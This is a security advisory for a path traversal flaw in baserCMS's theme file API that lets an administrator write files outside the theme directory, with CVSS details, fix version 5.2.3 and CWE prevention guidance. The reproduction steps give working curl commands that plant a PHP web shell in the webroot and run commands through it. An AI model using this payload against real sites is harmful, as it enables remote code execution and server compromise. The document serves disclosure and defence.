GHSA-c5c6-37vq-pjcq CVE-2026-30940
baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API
- Severity
- 7.2 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 1.07%
- Chance of exploitation in the next 30 days. Higher than 64.80% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE-73 External Control of File Name or Path
- Fix
5.2.3- Upgrade baserproject/basercms to this version or later
Description
Summary
A path traversal vulnerability exists in the baserCMS 5.x theme file management API (/baser/api/admin/bc-theme-file/theme_files/add.json) that allows arbitrary file write.
An authenticated administrator can include ../ sequences in the path parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).
Affected Code
File: plugins/bc-theme-file/src/Service/BcThemeFileService.php
public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
// ...
return $viewPath . $type . DS . $path; // $path is not sanitized
}
Attack Scenario
- The attacker compromises an administrator account (password leak, brute force, etc.)
- Obtains an access token via API login
- Specifies
path: "../../../../webroot/"in the theme file creation API - A PHP file is created in the webroot
- The attacker accesses the created PHP file to achieve RCE
Reproduction Steps
# 1. Login
curl -X POST "http://target/baser/api/admin/baser-core/users/login.json" \
-H "Content-Type: application/json" \
-d '{"email":"admin@example.com","password":"password"}'
# 2. Create webshell
curl -X POST "http://target/baser/api/admin/bc-theme-file/theme_files/add.json" \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"theme": "BcThemeSample",
"plugin": "",
"type": "layout",
"path": "../../../../webroot/",
"base_name": "shell",
"ext": "php",
"contents": "<?php system($_GET[\"cmd\"]); ?>"
}'
# 3. RCE
curl "http://target/shell.php?cmd=id"
Vulnerability Details
| Item | Details |
|---|---|
| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path |
| Impact | Arbitrary file write, Remote Code Execution (RCE) |
| Attack Prerequisites | Administrator privileges + API enabled (USE_CORE_ADMIN_API=true), or chaining with XSS, etc. |
| Reproducibility | High (PoC verified) |
| Test Environment | baserCMS 5.x (Docker environment) |
Additional Notes on Attack Prerequisites
- When API is enabled (
USE_CORE_ADMIN_API=true): API calls can be made externally using JWT token authentication. Direct exploitation is possible. - Default settings (
USE_CORE_ADMIN_API=false): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.
Recommended Fix
Rather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using realpath(), etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.
The specific implementation location and method are left to the project's design decisions.
Comparison with Other CMS
WordPress's theme editor only allows editing within wp-content/themes/ and does not permit writes outside that directory. CVE-2019-8943 was reported as a path traversal vulnerability in wp_crop_image() that allowed writing cropped image output to an arbitrary directory by including ../ in the filename.
This vulnerability is not a matter of "administrators being able to execute arbitrary code" by design, but rather stems from a security boundary violation where "the theme editing function can write outside the theme directory (to webroot, config, etc.)."
Resources
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
- WordPress RCE via Path Traversal (CVE-2019-8943): https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/
- Jira Path Traversal (CVE-2025-22167): https://nvd.nist.gov/vuln/detail/CVE-2025-22167
This advisory was translated from Japanese to English using GitHub Copilot.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| baserproject/basercms | < 5.2.3 |
5.2.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
baserproject/basercms Packagist → 5.2.3
- composer
composer require baserproject/basercms:^5.2.3
Severity breakdown
CVSS 3.1 7.2
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
How to prevent it
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-677c-xv24-crgx baserCMS is Vulnerable to Cross-site Scripting | Medium | Also affects baserproject/basercms |
| GHSA-6hpg-8rx3-cwgv baserCMS has OS command injection vulnerability in installer | Critical | Also affects baserproject/basercms |
| GHSA-jmq3-x8q7-j9qm baserCMS has a cross-site scripting vulnerability in blog posts | Medium | Also affects baserproject/basercms |
| GHSA-8cr7-r8qw-gp3c baserCMS has Mail Form Acceptance Bypass via Public API | Medium | Also affects baserproject/basercms |
| GHSA-m9g7-rgfc-jcm7 baserCMS Update Functionality Vulnerable to OS Command Injection | High | Also affects baserproject/basercms |
| GHSA-vh89-rjph-2g7p baserCMS has an SQL injection vulnerability in its blog post functionality | Critical | Also affects baserproject/basercms |
| GHSA-qxmc-6f24-g86g baserCMS has OS Command Injection Leading to Remote Code Execution (RCE) | High | Also affects baserproject/basercms |
| GHSA-hv78-cwp4-8r7r baserCMS has Unsafe File Upload Leading to Remote Code Execution (RCE) | High | Also affects baserproject/basercms |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor